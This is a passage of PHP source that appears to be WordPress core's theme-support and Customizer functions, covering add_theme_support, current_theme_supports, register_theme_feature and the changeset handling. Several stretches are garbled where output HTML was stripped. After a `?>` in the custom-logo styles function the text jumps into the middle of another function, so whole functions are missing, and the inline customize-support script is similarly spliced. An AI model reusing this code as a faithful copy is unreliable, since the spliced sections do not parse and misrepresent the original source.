'style'. * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * @since 5.5.0 The `core-block-patterns` feature was added and is enabled by default. * @since 5.5.0 The `custom-logo` feature now also accepts 'unlink-homepage-logo'. * @since 5.6.0 The `post-formats` feature warns if no array is passed. * @since 5.8.0 The `widgets-block-editor` feature enables the Widgets block editor. * * @global array $_wp_theme_features * * @param string $feature The feature being added. Likely core values include: * - 'admin-bar' * - 'align-wide' * - 'automatic-feed-links' * - 'core-block-patterns' * - 'custom-background' * - 'custom-header' * - 'custom-line-height' * - 'custom-logo' * - 'customize-selective-refresh-widgets' * - 'custom-spacing' * - 'custom-units' * - 'dark-editor-style' * - 'disable-custom-colors' * - 'disable-custom-font-sizes' * - 'editor-color-palette' * - 'editor-gradient-presets' * - 'editor-font-sizes' * - 'editor-styles' * - 'featured-content' * - 'html5' * - 'menus' * - 'post-formats' * - 'post-thumbnails' * - 'responsive-embeds' * - 'starter-content' * - 'title-tag' * - 'wp-block-styles' * - 'widgets' * - 'widgets-block-editor' * @param mixed ...$args Optional extra arguments to pass along with certain features. * @return void|false Void on success, false on failure. */ function add_theme_support( $feature, ...$args ) { global $_wp_theme_features; if ( ! $args ) { $args = true; } switch ( $feature ) { case 'post-thumbnails': // All post types are already supported. if ( true === get_theme_support( 'post-thumbnails' ) ) { return; } /* * Merge post types with any that already declared their support * for post thumbnails. */ if ( isset( $args[0] ) && is_array( $args[0] ) && isset( $_wp_theme_features['post-thumbnails'] ) ) { $args[0] = array_unique( array_merge( $_wp_theme_features['post-thumbnails'][0], $args[0] ) ); } break; case 'post-formats': if ( isset( $args[0] ) && is_array( $args[0] ) ) { $post_formats = get_post_format_slugs(); unset( $post_formats['standard'] ); $args[0] = array_intersect( $args[0], array_keys( $post_formats ) ); } else { _doing_it_wrong( "add_theme_support( 'post-formats' )", __( 'You need to pass an array of post formats.' ), '5.6.0' ); return false; } break; case 'html5': // You can't just pass 'html5', you need to pass an array of types. if ( empty( $args[0] ) || ! is_array( $args[0] ) ) { _doing_it_wrong( "add_theme_support( 'html5' )", __( 'You need to pass an array of types.' ), '3.6.1' ); if ( ! empty( $args[0] ) && ! is_array( $args[0] ) ) { return false; } // Build an array of types for back-compat. $args = array( 0 => array( 'comment-list', 'comment-form', 'search-form' ) ); } // Calling 'html5' again merges, rather than overwrites. if ( isset( $_wp_theme_features['html5'] ) ) { $args[0] = array_merge( $_wp_theme_features['html5'][0], $args[0] ); } break; case 'custom-logo': if ( true === $args ) { $args = array( 0 => array() ); } $defaults = array( 'width' => null, 'height' => null, 'flex-width' => false, 'flex-height' => false, 'header-text' => '', 'unlink-homepage-logo' => false, ); $args[0] = wp_parse_args( array_intersect_key( $args[0], $defaults ), $defaults ); // Allow full flexibility if no size is specified. if ( is_null( $args[0]['width'] ) && is_null( $args[0]['height'] ) ) { $args[0]['flex-width'] = true; $args[0]['flex-height'] = true; } break; case 'custom-header-uploads': return add_theme_support( 'custom-header', array( 'uploads' => true ) ); case 'custom-header': if ( true === $args ) { $args = array( 0 => array() ); } $defaults = array( 'default-image' => '', 'random-default' => false, 'width' => 0, 'height' => 0, 'flex-height' => false, 'flex-width' => false, 'default-text-color' => '', 'header-text' => true, 'uploads' => true, 'wp-head-callback' => '', 'admin-head-callback' => '', 'admin-preview-callback' => '', 'video' => false, 'video-active-callback' => 'is_front_page', ); $jit = isset( $args[0]['__jit'] ); unset( $args[0]['__jit'] ); // Merge in data from previous add_theme_support() calls. // The first value registered wins. (A child theme is set up first.) if ( isset( $_wp_theme_features['custom-header'] ) ) { $args[0] = wp_parse_args( $_wp_theme_features['custom-header'][0], $args[0] ); } // Load in the defaults at the end, as we need to insure first one wins. // This will cause all constants to be defined, as each arg will then be set to the default. if ( $jit ) { $args[0] = wp_parse_args( $args[0], $defaults ); } /* * If a constant was defined, use that value. Otherwise, define the constant to ensure * the constant is always accurate (and is not defined later, overriding our value). * As stated above, the first value wins. * Once we get to wp_loaded (just-in-time), define any constants we haven't already. * Constants are lame. Don't reference them. This is just for backward compatibility. */ if ( defined( 'NO_HEADER_TEXT' ) ) { $args[0]['header-text'] = ! NO_HEADER_TEXT; } elseif ( isset( $args[0]['header-text'] ) ) { define( 'NO_HEADER_TEXT', empty( $args[0]['header-text'] ) ); } if ( defined( 'HEADER_IMAGE_WIDTH' ) ) { $args[0]['width'] = (int) HEADER_IMAGE_WIDTH; } elseif ( isset( $args[0]['width'] ) ) { define( 'HEADER_IMAGE_WIDTH', (int) $args[0]['width'] ); } if ( defined( 'HEADER_IMAGE_HEIGHT' ) ) { $args[0]['height'] = (int) HEADER_IMAGE_HEIGHT; } elseif ( isset( $args[0]['height'] ) ) { define( 'HEADER_IMAGE_HEIGHT', (int) $args[0]['height'] ); } if ( defined( 'HEADER_TEXTCOLOR' ) ) { $args[0]['default-text-color'] = HEADER_TEXTCOLOR; } elseif ( isset( $args[0]['default-text-color'] ) ) { define( 'HEADER_TEXTCOLOR', $args[0]['default-text-color'] ); } if ( defined( 'HEADER_IMAGE' ) ) { $args[0]['default-image'] = HEADER_IMAGE; } elseif ( isset( $args[0]['default-image'] ) ) { define( 'HEADER_IMAGE', $args[0]['default-image'] ); } if ( $jit && ! empty( $args[0]['default-image'] ) ) { $args[0]['random-default'] = false; } // If headers are supported, and we still don't have a defined width or height, // we have implicit flex sizes. if ( $jit ) { if ( empty( $args[0]['width'] ) && empty( $args[0]['flex-width'] ) ) { $args[0]['flex-width'] = true; } if ( empty( $args[0]['height'] ) && empty( $args[0]['flex-height'] ) ) { $args[0]['flex-height'] = true; } } break; case 'custom-background': if ( true === $args ) { $args = array( 0 => array() ); } $defaults = array( 'default-image' => '', 'default-preset' => 'default', 'default-position-x' => 'left', 'default-position-y' => 'top', 'default-size' => 'auto', 'default-repeat' => 'repeat', 'default-attachment' => 'scroll', 'default-color' => '', 'wp-head-callback' => '_custom_background_cb', 'admin-head-callback' => '', 'admin-preview-callback' => '', ); $jit = isset( $args[0]['__jit'] ); unset( $args[0]['__jit'] ); // Merge in data from previous add_theme_support() calls. The first value registered wins. if ( isset( $_wp_theme_features['custom-background'] ) ) { $args[0] = wp_parse_args( $_wp_theme_features['custom-background'][0], $args[0] ); } if ( $jit ) { $args[0] = wp_parse_args( $args[0], $defaults ); } if ( defined( 'BACKGROUND_COLOR' ) ) { $args[0]['default-color'] = BACKGROUND_COLOR; } elseif ( isset( $args[0]['default-color'] ) || $jit ) { define( 'BACKGROUND_COLOR', $args[0]['default-color'] ); } if ( defined( 'BACKGROUND_IMAGE' ) ) { $args[0]['default-image'] = BACKGROUND_IMAGE; } elseif ( isset( $args[0]['default-image'] ) || $jit ) { define( 'BACKGROUND_IMAGE', $args[0]['default-image'] ); } break; // Ensure that 'title-tag' is accessible in the admin. case 'title-tag': // Can be called in functions.php but must happen before wp_loaded, i.e. not in header.php. if ( did_action( 'wp_loaded' ) ) { _doing_it_wrong( "add_theme_support( 'title-tag' )", sprintf( /* translators: 1: title-tag, 2: wp_loaded */ __( 'Theme support for %1$s should be registered before the %2$s hook.' ), 'title-tag', 'wp_loaded' ), '4.1.0' ); return false; } } $_wp_theme_features[ $feature ] = $args; } /** * Registers the internal custom header and background routines. * * @since 3.4.0 * @access private * * @global Custom_Image_Header $custom_image_header * @global Custom_Background $custom_background */ function _custom_header_background_just_in_time() { global $custom_image_header, $custom_background; if ( current_theme_supports( 'custom-header' ) ) { // In case any constants were defined after an add_custom_image_header() call, re-run. add_theme_support( 'custom-header', array( '__jit' => true ) ); $args = get_theme_support( 'custom-header' ); if ( $args[0]['wp-head-callback'] ) { add_action( 'wp_head', $args[0]['wp-head-callback'] ); } if ( is_admin() ) { require_once ABSPATH . 'wp-admin/includes/class-custom-image-header.php'; $custom_image_header = new Custom_Image_Header( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] ); } } if ( current_theme_supports( 'custom-background' ) ) { // In case any constants were defined after an add_custom_background() call, re-run. add_theme_support( 'custom-background', array( '__jit' => true ) ); $args = get_theme_support( 'custom-background' ); add_action( 'wp_head', $args[0]['wp-head-callback'] ); if ( is_admin() ) { require_once ABSPATH . 'wp-admin/includes/class-custom-background.php'; $custom_background = new Custom_Background( $args[0]['admin-head-callback'], $args[0]['admin-preview-callback'] ); } } } /** * Adds CSS to hide header text for custom logo, based on Customizer setting. * * @since 4.5.0 * @access private */ function _custom_logo_header_styles() { if ( ! current_theme_supports( 'custom-header', 'header-text' ) && get_theme_support( 'custom-logo', 'header-text' ) && ! get_theme_mod( 'header_text', true ) ) { $classes = (array) get_theme_support( 'custom-logo', 'header-text' ); $classes = array_map( 'sanitize_html_class', $classes ); $classes = '.' . implode( ', .', $classes ); $type_attr = current_theme_supports( 'html5', 'style' ) ? '' : ' type="text/css"'; ?> false ) ); return; // Do not continue - custom-header-uploads no longer exists. } if ( ! isset( $_wp_theme_features[ $feature ] ) ) { return false; } switch ( $feature ) { case 'custom-header': if ( ! did_action( 'wp_loaded' ) ) { break; } $support = get_theme_support( 'custom-header' ); if ( isset( $support[0]['wp-head-callback'] ) ) { remove_action( 'wp_head', $support[0]['wp-head-callback'] ); } if ( isset( $GLOBALS['custom_image_header'] ) ) { remove_action( 'admin_menu', array( $GLOBALS['custom_image_header'], 'init' ) ); unset( $GLOBALS['custom_image_header'] ); } break; case 'custom-background': if ( ! did_action( 'wp_loaded' ) ) { break; } $support = get_theme_support( 'custom-background' ); if ( isset( $support[0]['wp-head-callback'] ) ) { remove_action( 'wp_head', $support[0]['wp-head-callback'] ); } remove_action( 'admin_menu', array( $GLOBALS['custom_background'], 'init' ) ); unset( $GLOBALS['custom_background'] ); break; } unset( $_wp_theme_features[ $feature ] ); return true; } /** * Checks a theme's support for a given feature. * * Example usage: * * current_theme_supports( 'custom-logo' ); * current_theme_supports( 'html5', 'comment-form' ); * * @since 2.9.0 * @since 5.3.0 Formalized the existing and already documented `...$args` parameter * by adding it to the function signature. * * @global array $_wp_theme_features * * @param string $feature The feature being checked. See add_theme_support() for the list * of possible values. * @param mixed ...$args Optional extra arguments to be checked against certain features. * @return bool True if the active theme supports the feature, false otherwise. */ function current_theme_supports( $feature, ...$args ) { global $_wp_theme_features; if ( 'custom-header-uploads' === $feature ) { return current_theme_supports( 'custom-header', 'uploads' ); } if ( ! isset( $_wp_theme_features[ $feature ] ) ) { return false; } // If no args passed then no extra checks need to be performed. if ( ! $args ) { /** This filter is documented in wp-includes/theme.php */ return apply_filters( "current_theme_supports-{$feature}", true, $args, $_wp_theme_features[ $feature ] ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } switch ( $feature ) { case 'post-thumbnails': /* * post-thumbnails can be registered for only certain content/post types * by passing an array of types to add_theme_support(). * If no array was passed, then any type is accepted. */ if ( true === $_wp_theme_features[ $feature ] ) { // Registered for all types. return true; } $content_type = $args[0]; return in_array( $content_type, $_wp_theme_features[ $feature ][0], true ); case 'html5': case 'post-formats': /* * Specific post formats can be registered by passing an array of types * to add_theme_support(). * * Specific areas of HTML5 support *must* be passed via an array to add_theme_support(). */ $type = $args[0]; return in_array( $type, $_wp_theme_features[ $feature ][0], true ); case 'custom-logo': case 'custom-header': case 'custom-background': // Specific capabilities can be registered by passing an array to add_theme_support(). return ( isset( $_wp_theme_features[ $feature ][0][ $args[0] ] ) && $_wp_theme_features[ $feature ][0][ $args[0] ] ); } /** * Filters whether the active theme supports a specific feature. * * The dynamic portion of the hook name, `$feature`, refers to the specific * theme feature. See add_theme_support() for the list of possible values. * * @since 3.4.0 * * @param bool $supports Whether the active theme supports the given feature. Default true. * @param array $args Array of arguments for the feature. * @param string $feature The theme feature. */ return apply_filters( "current_theme_supports-{$feature}", true, $args, $_wp_theme_features[ $feature ] ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores } /** * Checks a theme's support for a given feature before loading the functions which implement it. * * @since 2.9.0 * * @param string $feature The feature being checked. See add_theme_support() for the list * of possible values. * @param string $include Path to the file. * @return bool True if the active theme supports the supplied feature, false otherwise. */ function require_if_theme_supports( $feature, $include ) { if ( current_theme_supports( $feature ) ) { require $include; return true; } return false; } /** * Registers a theme feature for use in add_theme_support(). * * This does not indicate that the active theme supports the feature, it only describes * the feature's supported options. * * @since 5.5.0 * * @see add_theme_support() * * @global array $_wp_registered_theme_features * * @param string $feature The name uniquely identifying the feature. See add_theme_support() * for the list of possible values. * @param array $args { * Data used to describe the theme. * * @type string $type The type of data associated with this feature. * Valid values are 'string', 'boolean', 'integer', * 'number', 'array', and 'object'. Defaults to 'boolean'. * @type bool $variadic Does this feature utilize the variadic support * of add_theme_support(), or are all arguments specified * as the second parameter. Must be used with the "array" type. * @type string $description A short description of the feature. Included in * the Themes REST API schema. Intended for developers. * @type bool|array $show_in_rest { * Whether this feature should be included in the Themes REST API endpoint. * Defaults to not being included. When registering an 'array' or 'object' type, * this argument must be an array with the 'schema' key. * * @type array $schema Specifies the JSON Schema definition describing * the feature. If any objects in the schema do not include * the 'additionalProperties' keyword, it is set to false. * @type string $name An alternate name to be used as the property name * in the REST API. * @type callable $prepare_callback A function used to format the theme support in the REST API. * Receives the raw theme support value. * } * } * @return true|WP_Error True if the theme feature was successfully registered, a WP_Error object if not. */ function register_theme_feature( $feature, $args = array() ) { global $_wp_registered_theme_features; if ( ! is_array( $_wp_registered_theme_features ) ) { $_wp_registered_theme_features = array(); } $defaults = array( 'type' => 'boolean', 'variadic' => false, 'description' => '', 'show_in_rest' => false, ); $args = wp_parse_args( $args, $defaults ); if ( true === $args['show_in_rest'] ) { $args['show_in_rest'] = array(); } if ( is_array( $args['show_in_rest'] ) ) { $args['show_in_rest'] = wp_parse_args( $args['show_in_rest'], array( 'schema' => array(), 'name' => $feature, 'prepare_callback' => null, ) ); } if ( ! in_array( $args['type'], array( 'string', 'boolean', 'integer', 'number', 'array', 'object' ), true ) ) { return new WP_Error( 'invalid_type', __( 'The feature "type" is not valid JSON Schema type.' ) ); } if ( true === $args['variadic'] && 'array' !== $args['type'] ) { return new WP_Error( 'variadic_must_be_array', __( 'When registering a "variadic" theme feature, the "type" must be an "array".' ) ); } if ( false !== $args['show_in_rest'] && in_array( $args['type'], array( 'array', 'object' ), true ) ) { if ( ! is_array( $args['show_in_rest'] ) || empty( $args['show_in_rest']['schema'] ) ) { return new WP_Error( 'missing_schema', __( 'When registering an "array" or "object" feature to show in the REST API, the feature\'s schema must also be defined.' ) ); } if ( 'array' === $args['type'] && ! isset( $args['show_in_rest']['schema']['items'] ) ) { return new WP_Error( 'missing_schema_items', __( 'When registering an "array" feature, the feature\'s schema must include the "items" keyword.' ) ); } if ( 'object' === $args['type'] && ! isset( $args['show_in_rest']['schema']['properties'] ) ) { return new WP_Error( 'missing_schema_properties', __( 'When registering an "object" feature, the feature\'s schema must include the "properties" keyword.' ) ); } } if ( is_array( $args['show_in_rest'] ) ) { if ( isset( $args['show_in_rest']['prepare_callback'] ) && ! is_callable( $args['show_in_rest']['prepare_callback'] ) ) { return new WP_Error( 'invalid_rest_prepare_callback', sprintf( /* translators: %s: prepare_callback */ __( 'The "%s" must be a callable function.' ), 'prepare_callback' ) ); } $args['show_in_rest']['schema'] = wp_parse_args( $args['show_in_rest']['schema'], array( 'description' => $args['description'], 'type' => $args['type'], 'default' => false, ) ); if ( is_bool( $args['show_in_rest']['schema']['default'] ) && ! in_array( 'boolean', (array) $args['show_in_rest']['schema']['type'], true ) ) { // Automatically include the "boolean" type when the default value is a boolean. $args['show_in_rest']['schema']['type'] = (array) $args['show_in_rest']['schema']['type']; array_unshift( $args['show_in_rest']['schema']['type'], 'boolean' ); } $args['show_in_rest']['schema'] = rest_default_additional_properties_to_false( $args['show_in_rest']['schema'] ); } $_wp_registered_theme_features[ $feature ] = $args; return true; } /** * Gets the list of registered theme features. * * @since 5.5.0 * * @global array $_wp_registered_theme_features * * @return array[] List of theme features, keyed by their name. */ function get_registered_theme_features() { global $_wp_registered_theme_features; if ( ! is_array( $_wp_registered_theme_features ) ) { return array(); } return $_wp_registered_theme_features; } /** * Gets the registration config for a theme feature. * * @since 5.5.0 * * @global array $_wp_registered_theme_features * * @param string $feature The feature name. See add_theme_support() for the list * of possible values. * @return array|null The registration args, or null if the feature was not registered. */ function get_registered_theme_feature( $feature ) { global $_wp_registered_theme_features; if ( ! is_array( $_wp_registered_theme_features ) ) { return null; } return isset( $_wp_registered_theme_features[ $feature ] ) ? $_wp_registered_theme_features[ $feature ] : null; } /** * Checks an attachment being deleted to see if it's a header or background image. * * If true it removes the theme modification which would be pointing at the deleted * attachment. * * @access private * @since 3.0.0 * @since 4.3.0 Also removes `header_image_data`. * @since 4.5.0 Also removes custom logo theme mods. * * @param int $id The attachment ID. */ function _delete_attachment_theme_mod( $id ) { $attachment_image = wp_get_attachment_url( $id ); $header_image = get_header_image(); $background_image = get_background_image(); $custom_logo_id = get_theme_mod( 'custom_logo' ); if ( $custom_logo_id && $custom_logo_id == $id ) { remove_theme_mod( 'custom_logo' ); remove_theme_mod( 'header_text' ); } if ( $header_image && $header_image == $attachment_image ) { remove_theme_mod( 'header_image' ); remove_theme_mod( 'header_image_data' ); } if ( $background_image && $background_image == $attachment_image ) { remove_theme_mod( 'background_image' ); } } /** * Checks if a theme has been changed and runs 'after_switch_theme' hook on the next WP load. * * See {@see 'after_switch_theme'}. * * @since 3.3.0 */ function check_theme_switched() { $stylesheet = get_option( 'theme_switched' ); if ( $stylesheet ) { $old_theme = wp_get_theme( $stylesheet ); // Prevent widget & menu mapping from running since Customizer already called it up front. if ( get_option( 'theme_switched_via_customizer' ) ) { remove_action( 'after_switch_theme', '_wp_menus_changed' ); remove_action( 'after_switch_theme', '_wp_sidebars_changed' ); update_option( 'theme_switched_via_customizer', false ); } if ( $old_theme->exists() ) { /** * Fires on the first WP load after a theme switch if the old theme still exists. * * This action fires multiple times and the parameters differs * according to the context, if the old theme exists or not. * If the old theme is missing, the parameter will be the slug * of the old theme. * * @since 3.3.0 * * @param string $old_name Old theme name. * @param WP_Theme $old_theme WP_Theme instance of the old theme. */ do_action( 'after_switch_theme', $old_theme->get( 'Name' ), $old_theme ); } else { /** This action is documented in wp-includes/theme.php */ do_action( 'after_switch_theme', $stylesheet, $old_theme ); } flush_rewrite_rules(); update_option( 'theme_switched', false ); } } /** * Includes and instantiates the WP_Customize_Manager class. * * Loads the Customizer at plugins_loaded when accessing the customize.php admin * page or when any request includes a wp_customize=on param or a customize_changeset * param (a UUID). This param is a signal for whether to bootstrap the Customizer when * WordPress is loading, especially in the Customizer preview * or when making Customizer Ajax requests for widgets or menus. * * @since 3.4.0 * * @global WP_Customize_Manager $wp_customize */ function _wp_customize_include() { $is_customize_admin_page = ( is_admin() && 'customize.php' === basename( $_SERVER['PHP_SELF'] ) ); $should_include = ( $is_customize_admin_page || ( isset( $_REQUEST['wp_customize'] ) && 'on' === $_REQUEST['wp_customize'] ) || ( ! empty( $_GET['customize_changeset_uuid'] ) || ! empty( $_POST['customize_changeset_uuid'] ) ) ); if ( ! $should_include ) { return; } /* * Note that wp_unslash() is not being used on the input vars because it is * called before wp_magic_quotes() gets called. Besides this fact, none of * the values should contain any characters needing slashes anyway. */ $keys = array( 'changeset_uuid', 'customize_changeset_uuid', 'customize_theme', 'theme', 'customize_messenger_channel', 'customize_autosaved', ); $input_vars = array_merge( wp_array_slice_assoc( $_GET, $keys ), wp_array_slice_assoc( $_POST, $keys ) ); $theme = null; $autosaved = null; $messenger_channel = null; // Value false indicates UUID should be determined after_setup_theme // to either re-use existing saved changeset or else generate a new UUID if none exists. $changeset_uuid = false; // Set initially fo false since defaults to true for back-compat; // can be overridden via the customize_changeset_branching filter. $branching = false; if ( $is_customize_admin_page && isset( $input_vars['changeset_uuid'] ) ) { $changeset_uuid = sanitize_key( $input_vars['changeset_uuid'] ); } elseif ( ! empty( $input_vars['customize_changeset_uuid'] ) ) { $changeset_uuid = sanitize_key( $input_vars['customize_changeset_uuid'] ); } // Note that theme will be sanitized via WP_Theme. if ( $is_customize_admin_page && isset( $input_vars['theme'] ) ) { $theme = $input_vars['theme']; } elseif ( isset( $input_vars['customize_theme'] ) ) { $theme = $input_vars['customize_theme']; } if ( ! empty( $input_vars['customize_autosaved'] ) ) { $autosaved = true; } if ( isset( $input_vars['customize_messenger_channel'] ) ) { $messenger_channel = sanitize_key( $input_vars['customize_messenger_channel'] ); } /* * Note that settings must be previewed even outside the customizer preview * and also in the customizer pane itself. This is to enable loading an existing * changeset into the customizer. Previewing the settings only has to be prevented * here in the case of a customize_save action because this will cause WP to think * there is nothing changed that needs to be saved. */ $is_customize_save_action = ( wp_doing_ajax() && isset( $_REQUEST['action'] ) && 'customize_save' === wp_unslash( $_REQUEST['action'] ) ); $settings_previewed = ! $is_customize_save_action; require_once ABSPATH . WPINC . '/class-wp-customize-manager.php'; $GLOBALS['wp_customize'] = new WP_Customize_Manager( compact( 'changeset_uuid', 'theme', 'messenger_channel', 'settings_previewed', 'autosaved', 'branching' ) ); } /** * Publishes a snapshot's changes. * * @since 4.7.0 * @access private * * @global wpdb $wpdb WordPress database abstraction object. * @global WP_Customize_Manager $wp_customize Customizer instance. * * @param string $new_status New post status. * @param string $old_status Old post status. * @param WP_Post $changeset_post Changeset post object. */ function _wp_customize_publish_changeset( $new_status, $old_status, $changeset_post ) { global $wp_customize, $wpdb; $is_publishing_changeset = ( 'customize_changeset' === $changeset_post->post_type && 'publish' === $new_status && 'publish' !== $old_status ); if ( ! $is_publishing_changeset ) { return; } if ( empty( $wp_customize ) ) { require_once ABSPATH . WPINC . '/class-wp-customize-manager.php'; $wp_customize = new WP_Customize_Manager( array( 'changeset_uuid' => $changeset_post->post_name, 'settings_previewed' => false, ) ); } if ( ! did_action( 'customize_register' ) ) { /* * When running from CLI or Cron, the customize_register action will need * to be triggered in order for core, themes, and plugins to register their * settings. Normally core will add_action( 'customize_register' ) at * priority 10 to register the core settings, and if any themes/plugins * also add_action( 'customize_register' ) at the same priority, they * will have a $wp_customize with those settings registered since they * call add_action() afterward, normally. However, when manually doing * the customize_register action after the setup_theme, then the order * will be reversed for two actions added at priority 10, resulting in * the core settings no longer being available as expected to themes/plugins. * So the following manually calls the method that registers the core * settings up front before doing the action. */ remove_action( 'customize_register', array( $wp_customize, 'register_controls' ) ); $wp_customize->register_controls(); /** This filter is documented in /wp-includes/class-wp-customize-manager.php */ do_action( 'customize_register', $wp_customize ); } $wp_customize->_publish_changeset_values( $changeset_post->ID ); /* * Trash the changeset post if revisions are not enabled. Unpublished * changesets by default get garbage collected due to the auto-draft status. * When a changeset post is published, however, it would no longer get cleaned * out. This is a problem when the changeset posts are never displayed anywhere, * since they would just be endlessly piling up. So here we use the revisions * feature to indicate whether or not a published changeset should get trashed * and thus garbage collected. */ if ( ! wp_revisions_enabled( $changeset_post ) ) { $wp_customize->trash_changeset_post( $changeset_post->ID ); } } /** * Filters changeset post data upon insert to ensure post_name is intact. * * This is needed to prevent the post_name from being dropped when the post is * transitioned into pending status by a contributor. * * @since 4.7.0 * * @see wp_insert_post() * * @param array $post_data An array of slashed post data. * @param array $supplied_post_data An array of sanitized, but otherwise unmodified post data. * @return array Filtered data. */ function _wp_customize_changeset_filter_insert_post_data( $post_data, $supplied_post_data ) { if ( isset( $post_data['post_type'] ) && 'customize_changeset' === $post_data['post_type'] ) { // Prevent post_name from being dropped, such as when contributor saves a changeset post as pending. if ( empty( $post_data['post_name'] ) && ! empty( $supplied_post_data['post_name'] ) ) { $post_data['post_name'] = $supplied_post_data['post_name']; } } return $post_data; } /** * Adds settings for the customize-loader script. * * @since 3.4.0 */ function _wp_customize_loader_settings() { $admin_origin = parse_url( admin_url() ); $home_origin = parse_url( home_url() ); $cross_domain = ( strtolower( $admin_origin['host'] ) != strtolower( $home_origin['host'] ) ); $browser = array( 'mobile' => wp_is_mobile(), 'ios' => wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] ), ); $settings = array( 'url' => esc_url( admin_url( 'customize.php' ) ), 'isCrossDomain' => $cross_domain, 'browser' => $browser, 'l10n' => array( 'saveAlert' => __( 'The changes you made will be lost if you navigate away from this page.' ), 'mainIframeTitle' => __( 'Customizer' ), ), ); $script = 'var _wpCustomizeLoaderSettings = ' . wp_json_encode( $settings ) . ';'; $wp_scripts = wp_scripts(); $data = $wp_scripts->get_data( 'customize-loader', 'data' ); if ( $data ) { $script = "$data\n$script"; } $wp_scripts->add_data( 'customize-loader', 'data', $script ); } /** * Returns a URL to load the Customizer. * * @since 3.4.0 * * @param string $stylesheet Optional. Theme to customize. Defaults to active theme. * The theme's stylesheet will be urlencoded if necessary. * @return string */ function wp_customize_url( $stylesheet = '' ) { $url = admin_url( 'customize.php' ); if ( $stylesheet ) { $url .= '?theme=' . urlencode( $stylesheet ); } return esc_url( $url ); } /** * Prints a script to check whether or not the Customizer is supported, * and apply either the no-customize-support or customize-support class * to the body. * * This function MUST be called inside the body tag. * * Ideally, call this function immediately after the body tag is opened. * This prevents a flash of unstyled content. * * It is also recommended that you add the "no-customize-support" class * to the body tag by default. * * @since 3.4.0 * @since 4.7.0 Support for IE8 and below is explicitly removed via conditional comments. * @since 5.5.0 IE8 and older are no longer supported. */ function wp_customize_support_script() { $admin_origin = parse_url( admin_url() ); $home_origin = parse_url( home_url() ); $cross_domain = ( strtolower( $admin_origin['host'] ) != strtolower( $home_origin['host'] ) ); $type_attr = current_theme_supports( 'html5', 'script' ) ? '' : ' type="text/javascript"'; ?> > (function() { var request, b = document.body, c = 'className', cs = 'customize-support', rcs = new RegExp('(^|\\s+)(no-)?'+cs+'(\\s+|$)'); request = (function(){ var xhr = new XMLHttpRequest(); return ('withCredentials' in xhr); })(); request = true; b[c] = b[c].replace( rcs, ' ' ); // The customizer requires postMessage and CORS (if the site is cross domain). b[c] += ( window.postMessage && request ? ' ' : ' no-' ) + cs; }()); is_preview(); } /** * Makes sure that auto-draft posts get their post_date bumped or status changed * to draft to prevent premature garbage-collection. * * When a changeset is updated but remains an auto-draft, ensure the post_date * for the auto-draft posts remains the same so that it will be * garbage-collected at the same time by `wp_delete_auto_drafts()`. Otherwise, * if the changeset is updated to be a draft then update the posts * to have a far-future post_date so that they will never be garbage collected * unless the changeset post itself is deleted. * * When a changeset is updated to be a persistent draft or to be scheduled for * publishing, then transition any dependent auto-drafts to a draft status so * that they likewise will not be garbage-collected but also so that they can * be edited in the admin before publishing since there is not yet a post/page * editing flow in the Customizer. See #39752. * * @link https://core.trac.wordpress.org/ticket/39752 * * @since 4.8.0 * @access private * @see wp_delete_auto_drafts() * * @global wpdb $wpdb WordPress database abstraction object. * * @param string $new_status Transition to this post status. * @param string $old_status Previous post status. * @param \WP_Post $post Post data. */ function _wp_keep_alive_customize_changeset_dependent_auto_drafts( $new_status, $old_status, $post ) { global $wpdb; unset( $old_status ); // Short-circuit if not a changeset or if the changeset was published. if ( 'customize_changeset' !== $post->post_type || 'publish' === $new_status ) { return; } $data = json_decode( $post->post_content, true ); if ( empty( $data['nav_menus_created_posts']['value'] ) ) { return; } /* * Actually, in lieu of keeping alive, trash any customization drafts here if the changeset itself is * getting trashed. This is needed because when a changeset transitions to a draft, then any of the * dependent auto-draft post/page stubs will also get transitioned to customization drafts which * are then visible in the WP Admin. We cannot wait for the deletion of the changeset in which * _wp_delete_customize_changeset_dependent_auto_drafts() will be called, since they need to be * trashed to remove from visibility immediately. */ if ( 'trash' === $new_status ) { foreach ( $data['nav_menus_created_posts']['value'] as $post_id ) { if ( ! empty( $post_id ) && 'draft' === get_post_status( $post_id ) ) { wp_trash_post( $post_id ); } } return; } $post_args = array(); if ( 'auto-draft' === $new_status ) { /* * Keep the post date for the post matching the changeset * so that it will not be garbage-collected before the changeset. */ $post_args['post_date'] = $post->post_date; // Note wp_delete_auto_drafts() only looks at this date. } else { /* * Since the changeset no longer has an auto-draft (and it is not published) * it is now a persistent changeset, a long-lived draft, and so any * associated auto-draft posts should likewise transition into having a draft * status. These drafts will be treated differently than regular drafts in * that they will be tied to the given changeset. The publish meta box is * replaced with a notice about how the post is part of a set of customized changes * which will be published when the changeset is published. */ $post_args['post_status'] = 'draft'; } foreach ( $data['nav_menus_created_posts']['value'] as $post_id ) { if ( empty( $post_id ) || 'auto-draft' !== get_post_status( $post_id ) ) { continue; } $wpdb->update( $wpdb->posts, $post_args, array( 'ID' => $post_id ) ); clean_post_cache( $post_id ); } } /** * Creates the initial theme features when the 'setup_theme' action is fired. * * See {@see 'setup_theme'}. * * @since 5.5.0 * @since 6.0.1 The `block-templates` feature was added. */ function create_initial_theme_features() { register_theme_feature( 'align-wide', array( 'description' => __( 'Whether theme opts in to wide alignment CSS class.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'automatic-feed-links', array( 'description' => __( 'Whether posts and comments RSS feed links are added to head.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'block-templates', array( 'description' => __( 'Whether a theme uses block-based templates.' ), 'show_in_rest' => true, ) ); register_theme_feature( 'custom-background', array( 'description' => __( 'Custom background if defined by the theme.' ), 'type' => 'object', 'show_in_rest' => array( 'schema' => array( 'properties' => array( 'default-image' => array( 'type' => 'string', 'format' => 'uri', ), 'default-preset' => array( 'type' => 'string', 'enum' => array( 'default', 'fill', 'fit', 'repeat', 'custom', ), ), 'default-position-x' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', ), ), 'default-position-y' => array( 'type' => 'string', 'enum' => array( 'left', 'center', 'right', ), ), 'default-size' => array( 'type' => 'string', 'enum' => array( 'auto', 'contain', 'cover', ), ), 'default-repeat' => array( 'type' => 'string', 'enum' => array( 'repeat-x', 'repeat-y', 'repeat', 'no-repeat', ), ), 'default-attachment' => array( 'type' => 'string', 'enum' => 